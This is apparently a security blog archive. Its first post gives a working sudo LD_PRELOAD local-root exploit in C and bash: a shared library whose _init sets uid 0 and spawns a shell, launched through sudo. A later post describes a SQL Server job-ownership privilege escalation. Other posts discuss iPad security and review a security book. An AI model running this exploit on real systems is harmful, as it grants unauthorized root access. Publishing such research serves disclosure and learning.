Grey bar Blue bar
Share this:

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:

/* gcc -Wall -fPIC -shared -o myfopen.c */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
//printf("fake fopen: not active \n");
return NULL;

which could be invoked via

touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/ /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:

#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/
# Most lame exploit EVER!
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.

1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 #
7 #
8 # "re-discovered" in 2013 by
9 #
10 #
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
38 _EOF
41 gcc -fPIC -shared -o /tmp/ /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/ $1

Wed, 8 Aug 2012

Privilege Escalation in SQL Server (Depending on some dodgy requirements)

I was playing with a few SQL server idiosyncrasies more than a year ago before becoming so completely distracted with the whole SAP protocol-decoding business. Having some time on my hands for once, I thought I would blog it.

Early last year, I found it possible to create jobs owned by other users on MS SQL Server (2000, 2005 and 2008) by an unprivileged user - providing the user had the capability of creating or altering stored procedures in the [master].[dbo] schema. The reason for this, comes as a result of cross-database permissions being chained, by default, across the system databases [master], [msdb] and [tempdb]. According to Microsoft, this is by design.

Where the issue comes in is that should a lower-privileged user have the capability of creating or altering stored procedures within [master].[dbo], it now becomes possible to insert records into the [msdb].[dbo].[sysjobs*] by executing the stored procedure - even without having any direct access to insert records into these tables. This is not particularly different from other system stored procedures (such as sp_addjob, for example) which allow users to create jobs, but the difference comes in in terms of the data we're allowed to populate.

SQL Server allows jobs and job steps to be executed under the context of specific user accounts. Whilst the majority of users (by default) are able to schedule jobs on the SQL Server, they can only schedule jobs which execute under their own account context and only members of the sysadmin server roles can add jobs which execute under the context of other user accounts. The underlying system stored procedures provided by Microsoft (sp_addjob and similar) prevent this functionality from being abused by lower privileged users. However, should it be possible to create/alter a stored procedure within [master].[dbo], we can insert records into the various [msdb] job tables with data of our choosing.

Hard-coding the [owner_sid] field in [msdb].[dbo].[sysjobs] to 0x01 (the default sid for the 'sa' user account) and the [database_user_name] field in [msdb].[dbo].[sysjobsteps] to 'sa' will allow us to create a job and associated job-step owned by the 'sa' user even though we are using an unprivileged account and do not have any permissions on the underlying tables.

In the following image, user eoppoc has no direct access to [msdb].[dbo].[sysjobs].

Executing a stored procedure, however, allows this access.

The following two images show the job created us user 'sa', with a single job step configured to execute as user 'sa'.

Honestly, I don't really see this as any form of issue. In order for it to be exploitable, there are far too many prerequisites and requirements and these prerequisites open other cans of worms. Furthermore, whilst one has the capability to schedule jobs to run as other users, one does not have the privilege level required to update the job cache. This means the newly created and scheduled job will only run after the SQL Server Agent has been restarted. It is nevertheless interesting and blog-worthy. And who knows, maybe this will be interesting / useful to somebody.

A zip file containing a procedure for SQL2000, and a procedure for SQL2005/2008 can be downloaded from here.

Oh - as a final note, Microsoft mentions that: "These databases are strictly system databases and is recommended not to create any user objects in these databases".


Fri, 29 Jan 2010

Is the writing on the wall for general purpose computing ?

The Apple iPad announcement set the interwebs alight, and there is no shortage of people blogging or tweeting about how it will or wont change their lives. I'm going to ignore those topics almost completely to make one of those predictions that serve mainly to let people laugh at me later for being so totally wrong..

Heres my vision.. Its not just the Hipsters and college kids who get iPads, its the execs and CEO's. They are happy for a short while using it just as an E-Reader, movie watcher and couch based web browser, but the app store keeps growing to support the new form factor. Apps like iWork for iPad (at only $10) means that sooner or later they are relatively comfortable spreadsheeting or document pushing on their iPad.. It doesn't take too long for them to realize that they don't have much heavier computing requirements anyway and besides.. the instant on experience is what they always wanted..

Now despite the fact that it didn't take people like taviso or charlie miller long to exploit the iPhone, the devices security model does present a security benefit over the traditional end user computing model. Sand-boxed Applications, signed code restrictions and a rudimentary app store check means that the device has not been hammered with malware or exploited en-masse. Now the CEO hears the CFO complaining about his latest desktop virus episode, or patch-day drama. "If only your desktop could work like my tablet..". Apple currently run OS X, and iPhoneOS for iPad and iPhoneOS for Touch/iPhones. Why not a version of iPhone OS that runs on its desktops ?

You get the App store and access to all the apps across all your devices.. and its pretty, and it just works..

At this point i have to mis-quote Martin Niemöller : First they came for the mp3 players, and i did not speak out - because i never really had one before anyway. Then they came for the cell phones, and i did not speak out - because it was really cool. Then they came for the tablets, and i did not speak out - because it was just a tablet. Then they came for our desktops - and it made perfect sense...

Security practitioners have long lamented the fact that we seem to be losing the war. Too much runs on our machines and the surface area is too large to defend and bad code is being written and deployed faster than we can test it.. Moving iPhoneOS to the desktop allows a contained, controlled computing platform that has the potential to be pushed through the organization from the top down. I think this is an important difference. Techies and Geeks can debate the pros and cons of wireless for ages, but it just takes one member of exco to need it and wireless deployments will happen. CEO's and execs with iPads will push cloud and tablet computing at a quick pace too. Despite the relatively tame initial response to the iPad, the stars seem well aligned for this to be an inflection point that leaves us with less computer and more consumer electronic devices.

Of course all this comes at a cost.. You trade some measure of control and surrender to the will of our Cupertino overlords..

-shrug- or maybe im just smoking my socks... :>


Thu, 31 Dec 2009

Happy New Year! (No predictions.. promise..)

It's the last few hours of 2009 here in South Africa so i wanted to take the opportunity really quickly to wish the 2 readers of this blog all the best for new year..

Most security "pundits" are currently doing their 2010 predictions. (although in truth few of them so far have been particularly surprising or out-there.. "Adobe will be brutalized" ? really? hows that different to 08 or 09)(One really has to question how the current whipping boy for exploit writers managed to be a key contributor to Gary McGraws BSIM Model, but i digress)

I'm going to skip the prognostication this time, and instead will go for a new years resolution... From Tim O' Reilly's 2003 advice to "Buy where i shop" a little more.. I have previously spoken about @timoreilly's awesome and life-changing "Work on stuff that matters" talk, and this piece is kinda similar and scarily prescient considering its publish date.

Happy New Years to *

Sun, 23 Aug 2009

John Viega's "the myths of security".. Really??

i go through a ton of books. Over the past 10 years, this has been dominated by books on computer security, computer science, programming (and some sprinklings of management classics).

I generally stay away from writing reviews, but was genuinely suprised at the number of 5 star reviews Viega's new book had received and felt i had to chime in.

I picked up "the myths of security" (what the computer industry doesn't want you to know) with hope, because O'Reilly books in general are well done and i really liked some of Johns previous books. Alas! I tried hard to think of a good thing to say about the book, and the best i can come up with right now is that "at least, it wont take up space on my bookshelf".

The book is tiny (48 chapters, where each chapter is between a paragraph to 2-3 pages) which isn't a bad thing, but it reads mostly as a collection of blog posts or hurriedly written notes-to-self.

Advertising++ The Foreword alone uses the word McAfee 14 times, and over the 48 chapters, the word McAfee goes on to appear about 65 times. This is acceptable on a blog, in a book i just paid for its slightly annoying.

Target Audience I agree with Bejtlich who cant figure the books target audience. One chapter might give explanations in crayon (presumably for the less sophisticated user) while the next chapter might give advice for how to label the security technology you plan to sell.

Consistency There are a number of times in the book where the author takes opposite sides of an argument (in different chapters). This is useful if coherently positioned as 2 sides of an argument, but if this is used on different arguments on different pages, it seems more like the author is merely choosing the position thats convenient to support his view at the time...

It's slightly odd when compared with his take on security spend to hear the author say this about the TSA and their "Security Theater": "But there's some hidden value here—it makes people feel safer. Whether it works well or poorly, it is better than nothing and it makes people feel better."

General whining (by me). The author dedicates a chapter to Mobile Phones titled "OK, Your Mobile Phone Is Insecure; Should You Care?". He concludes with: "Sure, there will always be the occasional virus for smartphones, but I don't see an epidemic emerging. At the end of the day, there is still lower-hanging fruit for the bad guys. It is still far easier for them to make money attacking traditional PCs and laptops then going after mobile phones. That may eventually change, but I'm not going to hold my breath."

I think the view that you only need to be worried about the ability of your device to withstand an attack "epidemic" is wrong on so many levels. Im far less worried about my iPhone becoming part of a botnet than i am of the fact that these days huge parts of my life are on it, and can be grabbed by Charlie Miller if he is willing to pay the $0.20 to send me a few SMS'es.

In his Epilogue, he writes: "But instead of preaching that the customer is hosed, I'm preaching that the security industry is hosed—I don't think customers are hosed at all." which is an interesting contrast to his chapter on PKI that ends with "That leaves the Internet fundamentally broken."..

Of course the lines that most bothered me were in the chapters on Privacy and Anonymity. Privacy gets just under 200 words but includes the classic line: "privacy is nice in theory, but if you don't have anything to hide, what's the big deal?"

Hmm.. OK.. lets see the take on anonymity before responding.

Anonymity gets 166 words (wow - 100 words more than the word McAfee!) and once more ends with the classic: "Oh, and I've got nothing to hide anyway…."

The author cites the example of Zero-Knowledge, who built a paid service to surf anonymously which "worked pretty well, but nobody cared".

Once more, i think there is so much wrong here, that im not sure where to start. Having to convince someone that Privacy is important even if you cant sell it seems like a pretty old argument to be having..

In general, i think its safe to say that the book left me disappointed, and a little bit afraid that somewhere decision makers could be forming an opinion on an entire industry based on ~250 words dedicated to a topic that deserves much more thought..